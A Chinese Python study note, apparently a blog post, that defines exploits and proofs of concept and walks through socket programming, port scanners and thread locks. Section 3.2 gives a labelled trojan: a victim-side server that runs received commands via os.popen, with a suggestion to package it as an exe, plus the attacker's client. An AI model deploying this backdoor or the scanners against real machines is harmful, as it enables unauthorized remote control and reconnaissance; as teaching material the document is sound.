Python工具

一、EXP

EXP = Exploit = 漏洞利用程序

EXP 是一段能够主动触发目标系统 / 软件的安全漏洞,并直接达成攻击目的(获取权限、执行命令、控制主机)的可运行代码或脚本。

漏洞利用代码

作用:利用漏洞直接攻击成功,拿到权限 / 控制目标。

比喻:"我推门进去,控制房间"

二、POC

POC(Proof of Concept)

漏洞验证代码

作用:证明漏洞存在 ,但不破坏、不控制、不拿权限。

比喻:"我发现门没锁"

三、网络通信

3.1 循环通信

服务端

复制代码
#服务端程序  
import socket  
  
def main():  
    #socket.AF_INET 使用ipv4通信,socket.SOCK_STREAM使用tcp通信  
    tcp_server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    #绑定端口  
    tcp_server_socket.bind(('',8080))  
    #允许多数人连接我  
    tcp_server_socket.listen(128)  
    #循环为多个客户服务多次  
    while True:  
        #等待用户连接,保存用户的socket和ip地址  
        new_client_socket,client_address = tcp_server_socket.accept()  
        print("the %s connecting"%(str(client_address)))  
        #给客户发送信息  
        new_client_socket.send("welcome".encode("utf-8"))  
        #循环为一个客户服务  
        while True:  
            # 接收来自客户的数据  
            recv_data = new_client_socket.recv(1024)  
            if  recv_data:  
                print(recv_data.decode("utf-8"))  
            else:  
                print("断开连接")  
                break  
        #关闭套接字  
        new_client_socket.close()  
    tcp_server_socket.close()

客户端:

复制代码
#客户端程序  
import socket  
  
def main():  
    tcp_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    server_ip = '192.168.31.7'  
    server_port = 8080  
    server_add = (server_ip,server_port)  
    #连接服务器  
    tcp_socket.connect(server_add)  
    #接受第一次发来的数据  
    first_data = tcp_socket.recv(1024)  
    print(first_data.decode("utf-8"))  
    while True:  
        #持续发送数据  
        send_data = input("send---->")  
        tcp_socket.send(send_data.encode("utf-8"))  
    tcp_socket.close()

3.2 远程控制程序

木马

被害者 -- 服务端

黑客 -- 客户端

网络连接

操作系统命令控制(shell)

使用 pyinstaller 编译成exe程序

服务端(用户)

复制代码
#木马服务端程序(用户)  
import socket  
import os  
  
def main():  
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    host = socket.gethostname()  
    port = 8080  
    s.bind((host,port))  
    s.listen()  
    while True:  
        c,addr = s.accept()  
        print("连接地址:",addr)  
        c.send("welcome".encode('utf-8'))  
  
        while True:  
            try:  
                recv_data = c.recv(1024).decode('utf-8')  
                if not recv_data:  
                    print("客户端断开连接")  
                    break  
                print(recv_data)  
                if recv_data == "cmd":  
                    c.send("ok cmd start".encode('utf-8'))  
                    while True: #循环接受发来的cmd命令  
                        data = c.recv(1024) #接下来要输入的cmd命令  
                        recv_data2 = data.decode('utf-8')  
                        if recv_data2 == "exit":  
                            c.send("ok cmd stop".encode('utf-8'))  
                            break  
                        else:   #执行发送的cmd命令并且读取命令执行结果  
                            x = os.popen(recv_data2).read()  
                                #命令回显  
                            c.send(x.encode('utf-8'))  
                else:  
                    c.send(recv_data.encode('utf-8'))  
            except Exception as e:  
                print("断开连接")  
                print(e)  
                break  
        c.close()  
    s.close()

客户端(入侵者)

复制代码
#木马客户端程序  
import socket  
import os  
def main():  
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    host = '192.168.31.7'  #受害者的ip地址  
    port = 8080  
    s.connect((host,port))  
  
    while True:  
        data_recv = s.recv(1024)  
        print(data_recv.decode('utf-8'))  
        msg = input("send msg:")  
        s.send(msg.encode('utf-8'))  
    s.close()

3.3 端口扫描器

3.3.1 支持命令

复制代码
import sys  
  
def main():  
  
    #sys.argv 是从python xxx.py [参数1] [参数2] ...  
    #xxx.py 就是sys.argv[0] sys.argv[1]就是参数1  
    #通常不把文件名作为参数  
    print(sys.argv) #输出所有的参数  
    print(sys.argv[4]) #输出第5个参数

3.3.2 支持命令的端口扫描器

复制代码
import socket,sys  
  
#ip和端口是否开放  
def ip_port_opened(ip,port):  
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    try:  
        s.connect((ip,port))  
        return True  
    except:  
        return False  
  
#扫描  
def scan(ip,portlist):  
    for port in portlist:  
        if ip_port_opened(ip,port):  
            print("%s host %s port opened"%(ip,port))  
        else:  
            print("%s host %s port closed"%(ip,port))  
  
def rescan(ip,start,end):  
    for port in range(start,end+1):  
        if ip_port_opened(ip,port):  
            print("%s host %s port opened"%(ip,port))  
        else:  
            print("%s host %s port closed"%(ip,port))  
  
def main():  
    default = [21,22,23,25,53,80,110,443,1433,1521,3306,3389]  
    string = sys.argv[1]   #获取第一个参数 python xxx.py [参数一] [参数二]  
    if len(sys.argv) == 2:  #python xxx.py [参数一]  
        if string[0] == '-':  
            option = sys.argv[1][1:]  
            if option == 'version':  
                print("python版本号:3.10.0")  
                sys.exit()  
            elif option == 'help':  
                print("python xxx.py [ip] [port]")  
                sys.exit()  
        else:  
            scan(sys.argv[1],default)  
            sys.exit()  
    elif len(sys.argv) == 3:  
        #port以 逗号 隔开  
        if ',' in sys.argv[2]:  
            port = sys.argv[2].split(',')  
            portlist = []  
            for p in port:  
                portlist.append(int(p))  
            scan(sys.argv[1],portlist)  
        #port以 - 隔开  
        elif '-' in sys.argv[2]:  
            port = sys.argv[2].split('-')  
            start = int(port[0])  
            end = int(port[1])  
            rescan(sys.argv[1],start,end)  
            sys.exit()  
  
if __name__ == '__main__':  
    main()

3.3.3 支持复杂命令的端口扫描器

optionparser

复制代码
from optparse import OptionParser  
  
def main():  
    usage = "usage: xxx.py -f <filename> -i <ip address>" #帮助文件  
    parser = OptionParser(usage = usage) #添加usage方法, xxx.py -h 就会出现以上的帮助  
    parser.add_option("-f","--file",type="string",dest="filename",help="your filename name here")  
    parser.add_option("-i","--ipaddress",type="string",dest="ipadd",help="your ip address here")  
    (options,args) = parser.parse_args()    #获取选项和参数进行赋值  
  
    print(options.filename)  
    print(options.ipadd)

  
from optparse import OptionParser  
import socket, sys  
  
# ip和端口是否开放  
def ip_port_opened(ip, port):  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    try:  
        s.connect((ip, port))  
        return True  
    except:  
        return False  
  
 # 扫描  
def scan(ip, portlist):  
    for port in portlist:  
        if ip_port_opened(ip, port):  
            print("%s host %s port opened" % (ip, port))  
        else:  
            print("%s host %s port closed" % (ip, port))  
# 广泛扫描  
def rescan(ip, start, end):  
    for port in range(start, end + 1):  
        if ip_port_opened(ip, port):  
            print("%s host %s port opened" % (ip, port))  
        else:  
            print("%s host %s port closed" % (ip, port))  
  
def main():  
    usage = "usage:xxx.py -i ip地址 -p 端口"  
    # 初始化命令行参数解析器  
    parse = OptionParser(usage=usage)  
    parse.add_option("-i","--ip",type="string",dest="ipaddress",help="your target ip here")  
    parse.add_option("-p","--port",type="string",dest='port',help="your target port here")  
    #凡是以上parse.add_option定义过的,后面参数自动放进options,其余放进args  
    (options,args) = parse.parse_args()  
  
    ip = options.ipaddress  
    port = options.port  
  
    default = [21,22,23,25,53,80,110,443,1433,1521,3306,3389]  
  
    if ',' in port:     #xxx.py -i 127.0.0.1 -p 80,21,89  
        p = port.split(',')  
        portlist = []  
        for x in p:  
            portlist.append(int(x))  
        scan(ip,portlist)  
    elif '-' in port:   #xxx.py -i 127.0.0.1 -p 80-89  
        p = port.split('-')  
        StartPort = int(p[0])  
        EndPort = int(p[1])  
        rescan(ip,StartPort,EndPort)  
    elif 'all' in port:   #xxx.py -i 127.0.0.1 -p all  
        rescan(ip,1,65535)  
    elif 'default' in port: #xxx.py -i 127.0.0.1 -p default  
        scan(ip,default)  
  
if __name__ == '__main__':  
    main()

3.3.4 多线程端口扫描器(效率最高)

复制代码
from optparse import OptionParser  
import socket, sys  
from threading import Thread  
  
# ip和端口是否开放  
def ip_port_opened(ip, port):  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    try:  
        s.connect((ip, port))  
        return True  
    except:  
        return False  
# 扫描  
def scan(ip, port):  
        if ip_port_opened(ip, port):  
            print("%s host %s port opened" % (ip, port))  
        else:  
            print("%s host %s port closed" % (ip, port))  
  
def main():  
    usage = "usage:xxx.py -i ip地址 -p 端口"  
    # 初始化命令行参数解析器  
    parse = OptionParser(usage=usage)  
    parse.add_option("-i", "--ip", type="string", dest="ipaddress", help="your target ip here")  
    parse.add_option("-p", "--port", type="string", dest='port', help="your target port here")  
    # 凡是以上parse.add_option定义过的,后面参数自动放进options,其余放进args  
    (options, args) = parse.parse_args()  
  
    ip = options.ipaddress  
    port = options.port  
  
    default = [21, 22, 23, 25, 53, 80, 110, 443, 1433, 1521, 3306, 3389]  
  
    if ',' in port:  # xxx.py -i 127.0.0.1 -p 80,21,89  
        p = port.split(',')  
        portlist = []  
        for x in p:  
            portlist.append(int(x))  
        #scan(ip, portlist)  
        for i in default:  
            i = int(i)  
            s = Thread(target=scan, args=(ip, i,))  
            s.start()  
    elif '-' in port:  # xxx.py -i 127.0.0.1 -p 80-89  
        p = port.split('-')  
        StartPort = int(p[0])  
        EndPort = int(p[1])  
        #rescan(ip, StartPort, EndPort)  
        for i in range(StartPort, EndPort+1):  
            s = Thread(target=scan, args=(ip, i,))  
            s.start()  
    elif 'all' in port:  # xxx.py -i 127.0.0.1 -p all  
        #rescan(ip, 1, 65535)        for i in range(65536):  
            i = int(i)  
            s = Thread(target=scan, args=(ip, i,))  
            s.start()  
    elif 'default' in port:  # xxx.py -i 127.0.0.1 -p default  
        for i in default:  
            i = int(i)  
            s = Thread(target=scan, args=(ip, i,))  
            s.start()  
  
  
  
if __name__ == '__main__':  
    main()

3.4 UDP

3.4.1 经典案例

服务端程序

复制代码
# /usr/bin/python  
# coding:UTF-8  
import socket  
  
#服务端程序  
def main():  
    #初始化套接字,使用ipv4的udp通信  
    s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)  
    s.bind(("",6000))# "" 默认为自己  
    while True:  
        data,addr = s.recvfrom(1024)  
        print("connect by:",addr)  
        print("recv data:",data.decode("utf-8"))  
        s.sendto(data,addr) #回显  
    s.close()  
  
    pass  
  
if __name__ == '__main__':  
    main()

客户端程序

复制代码
# /usr/bin/python  
# coding:UTF-8  
  
#服务端程序  
import socket  
  
def main():  
  
    c = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)  
    while True:  
        text = input("------------>")  
        c.sendto(text.encode("utf-8"),("127.0.0.1",6000))  
        if text == "exit":  
            break  
        ans = c.recvfrom(1024)  
        #recvfrom 返回来的不是一个值,而是一个 "元组"  
        #(数据内容, (对方IP, 对方端口))  
        print(ans[0].decode("utf-8"))  
    c.close()  
  
if __name__ == '__main__':  
    main()

3.4.2 UDP聊天室

不分客户端和服务端,双方都运行即可聊天

输入端口的适合,要注意,得转换为int类型

聊天室一边先 send 再recv

另一边要先recv 再send

PC1

复制代码
def send_msg(udp_socket):  
    #获取发送内容  
    dest_ip = input("请输入对方的ip:")  
    dest_port = int(input("请输入对方的port:"))  
    send_data = input("请输入文本:")  
    udp_socket.sendto(send_data.encode("utf-8"),(dest_ip,dest_port))  
  
def recv_msg(udp_socket):  
    recv_data = udp_socket.recvfrom(1024)   #data,addr  
    print("%s 说了 %s"%(str(recv_data[1]),recv_data[0].decode("utf-8")))  
  
def main():  
    #创建udp套接字  
    udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)  
    #绑定信息  
    udp_socket.bind(("",8080))  
    while True:  
        send_msg(udp_socket)  
        recv_msg(udp_socket)

PC2

复制代码
def send_msg(udp_socket):  
    #获取发送内容  
    dest_ip = input("请输入对方的ip:")  
    dest_port = int(input("请输入对方的port:"))  
    send_data = input("请输入文本:")  
    udp_socket.sendto(send_data.encode("utf-8"),(dest_ip,dest_port))  
  
def recv_msg(udp_socket):  
    recv_data = udp_socket.recvfrom(1024)   #data,addr  
    print("%s 说了 %s"%(str(recv_data[1]),recv_data[0].decode("utf-8")))  
  
def main():  
    #创建udp套接字  
    udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)  
    #绑定信息  
    udp_socket.bind(("",8080))  
    while True:  
        send_msg(udp_socket)  
        recv_msg(udp_socket)

3.5 简易迅雷

服务端程序

复制代码
#服务端程序  
import socket  
  
def send_file_2_client(new_client_socket,client_address):  
    #客户端要下载的文件名  
    file_name = new_client_socket.recv(1024).decode("utf-8")  
    print("客户端 %s 要下载 %s"%(str(client_address),file_name))  
    #按照客户端的要求读取文件  
    file_content = None  
    try:  
        f = open(file_name,"rb")    #以二进制来读取  
        file_content = f.read()  
        f.close()  
    except:  
        print("没有要下载的文件 %s" % (file_name))  
    #读取出来就发给客户  
    if file_content:  
        new_client_socket.send(file_content)  
  
  
def main():  
  
    tcp_server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    tcp_server_socket.bind(('',7878))  
    tcp_server_socket.listen(100)  
    while True:  
        new_client_socket,client_address = tcp_server_socket.accept()  
        #调用发送文件的函数  
        send_file_2_client(new_client_socket, client_address)  
        new_client_socket.close()  
    tcp_server_socket.close()

客户端程序

复制代码
#客户端程序  
import socket  
  
def main():  
    tcp_socket  = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    dest_ip = input("从哪个服务器下载:")  
    dest_port = int(input("请输入下载的port:"))  
    tcp_socket.connect((dest_ip,dest_port))  
  
    down_file_name = input("请输入要下载的文件名:")  
    #把文件名发给服务器  
    tcp_socket.send(down_file_name.encode("utf-8"))  
    #接收下载文件,1M  
    recv_data = tcp_socket.recv(1024*1024)  
    #保存数据文件  
    with open("new_"+down_file_name,"wb") as f:  
        f.write(recv_data)  
    tcp_socket.close()

3.6 简易进程池聊天程序

默认pool进程数是cpu的核心数量( os.cpu_count() )

如果cpu=4

开启6个客户端连接,发现2个客户在等待

服务端

复制代码
from http import server  
# /usr/bin/python  
# coding:UTF-8  
  
from socket import *  
from multiprocessing import Pool  
import time,os  
  
server = socket(AF_INET,SOCK_STREAM)  
server.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)  
server.bind(('127.0.0.1',8080))  
server.listen(5)  
  
  
def talk(conn,address):  
    print("进程%s 用户%s"%(os.getpid(),address))  
    while True:  
        try:  
            msg = conn.recv(1024)  
            if not msg:break  
            conn.send(msg.upper())  
        except Exception:  
            break  
  
def main():  
    p = Pool(4)  
    while True:  
        conn,address = server.accept()  
        p.apply_async(talk,args=(conn,address))  
  
if __name__ == '__main__':  
    main()

客户端

复制代码
# /usr/bin/python  
# coding:UTF-8  
  
#客户端程序  
import socket  
from socket import *  
  
client = socket(AF_INET,SOCK_STREAM)  
client.connect(("127.0.0.1",8080))  
  
  
def main():  
    while True:  
	    #字符串内置方法,删除字符串开头和结尾的空格、换行、制表符等空白字符
        msg = input(">>:").strip()  
        if not msg:continue  
        client.send(msg.encode("utf-8"))  
        msg = client.recv(1024)  
        print(msg.decode("utf-8"))  
  
  
if __name__ == '__main__':  
    main()

3.7 协程实现网络通信

服务端

复制代码
# /usr/bin/python  
# coding:UTF-8  
  
#补丁先打(socket模块之前),不然gevent无法识别socket阻塞  
from gevent import monkey; monkey.patch_all()  
from socket import *  
import gevent  
  
def server(ip,port):  
    s = socket(AF_INET,SOCK_STREAM)  
    s.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)  
    s.bind((ip,port))  
    s.listen(5)  
    while True:  
        conn,addr = s.accept()  
        gevent.spawn(talk,conn,addr)    #使用协程  
  
  
def talk(conn,addr):  
    try:  
        while True:  
            res = conn.recv(1024)  
            print("client %s: %s msg:%s"%(addr[0],addr[1],res.decode("utf-8")))  
            conn.send(res.upper())  
    except Exception as e:  
        print(e)  
    finally:  
        conn.close()  
  
  
  
def main():  
    server("127.0.0.1",8080)  
  
  
if __name__ == '__main__':  
    main()

客户端:

复制代码
# /usr/bin/python  
# coding:UTF-8  
  
#客户端程序  
from socket import *  
  
def main():  
    c = socket(AF_INET, SOCK_STREAM)  
    c.connect(("127.0.0.1", 8080))  
    while True:  
        msg = input(">>:").strip()  
        if not msg: continue    #空输入,跳过,回到循环开头  
        c.send(msg.encode("utf-8"))  
        msg = c.recv(1024)  
        print(msg.decode("utf-8"))  
  
  
  
  
if __name__ == '__main__':  
    main()

四、迭代锁(递归锁)

创造原因:

两个以上的进程可能因为抢夺资源造成互相等待(死锁进程)

RLock 内部 维护了一个Lock和一个count变量(记录acquire次数)

因为记录了次数,所以才可以让程序被多次acquire、多次加锁,直到一个线程所有acquire都被release,其他线程才能获得资源

而不同Lock是没有count变量的

直观的讲:普通lock只关注有没有被加锁

而Rlock不仅关注有没有加锁,还关注是哪个线程在加锁

1. 死锁进程

复制代码
import time,os  
from threading import Thread  
from threading import Lock as Lock #名字替换,此时就为迭代锁  
  
def main():  
    lock = Lock()  
    lock.acquire()  
    lock.acquire()  
    print(123)  #上面已经拿过一次key了,这边就拿不到了  
    lock.release()  
    lock.release()

2.迭代锁进程

复制代码
from threading import RLock as Lock #名字替换,此时就为迭代锁  
  
def main():  
    lock = Lock()  
    lock.acquire()  
    lock.acquire()  
    print(123)  #上面已经拿过一次key了,这边就拿不到了  
    lock.release()  
    lock.release()

因为 RLock 做了一件关键事情:

它不让同一个线程 "等自己"

普通 Lock 的逻辑是:

> 只要锁被占用,不管谁来,都要等

所以同一个线程第二次拿锁时:

自己等自己 → 直接卡死
RLock 的逻辑是:

> 如果是持有锁的线程自己再来拿
> 
> 不等!直接计数 + 1,放行

这就从根源上杜绝了:

1. 自己把自己锁死
2. 同一线程内多把锁(其实是同一把)互相等待


  
  
import time,os  
from threading import Thread  
from threading import RLock as Lock #名字替换,此时就为迭代锁  
  
noodle_lock = fork_lock = Lock()    #迭代锁,共用一把锁  
  
def eat_1(name):  
    noodle_lock.acquire()  
    print("%s 抢到了面条"%(name))  
    fork_lock.acquire()  
    print("%s 抢到了叉子"%(name))  
    print("%s 吃面"%(name))  
    fork_lock.release()  
    noodle_lock.release()  
  
def eat_2(name):  
    fork_lock.acquire()  
    print("%s 抢到了叉子"%(name))  
    time.sleep(1)  
    noodle_lock.acquire()  
    print("%s 抢到了面条"%(name))  
    print("%s 吃面"%(name))  
    noodle_lock.release()  
    fork_lock.release()  
  
def main():  
    for name in ['顾客1','顾客2','顾客3']:  
        T1 = Thread(target=eat_1,args=(name,))  
        T2 = Thread(target=eat_2,args=(name,))  
        T1.start()  
        T2.start()  
  
if __name__ == '__main__':  
    main()
相关推荐
小小程序猴14 分钟前
用工程视角建模企业AI培训周期:三段账本估算器(Python实现)
开发语言·人工智能·python
javaDocker6 分钟前
授权、协议与提示注入:Personal Agent 的安全基线该抄哪几份作业
人工智能·安全·金融·架构
十二同学啊15 分钟前
Python FastAPI 项目使用 Docker 部署并映射端口(完整教程)
python·docker·fastapi
不爱吃鱼的蔓热莓18 分钟前
Autosar arxml异常字符串处理
python
FBI HackerHarry浩19 分钟前
Pytorch中 CPU tensor vs GPU tensor
人工智能·pytorch·python·深度学习
wewowilling20 分钟前
工作流 .... coze平台--AI--Agent--RAG--Function Calling
python·低代码·agent·零代码·工作流·coze
其实防守也摸鱼20 分钟前
CTF Web 6 题全解 Writeup
linux·sql·学习·算法·安全·ctf·xss
小草cys21 分钟前
图片一键转全矢量可编辑PPT——纯Python实现,零依赖,离线可用
人工智能·python·powerpoint
IT大白鼠22 分钟前
2026 年 9 月至今重大安全漏洞专题报告——微软产品高危漏洞深度解析
安全·microsoft
Xudde.30 分钟前
DC-1 靶机渗透测试(Vulnhub Writeup)
笔记·学习·安全·web安全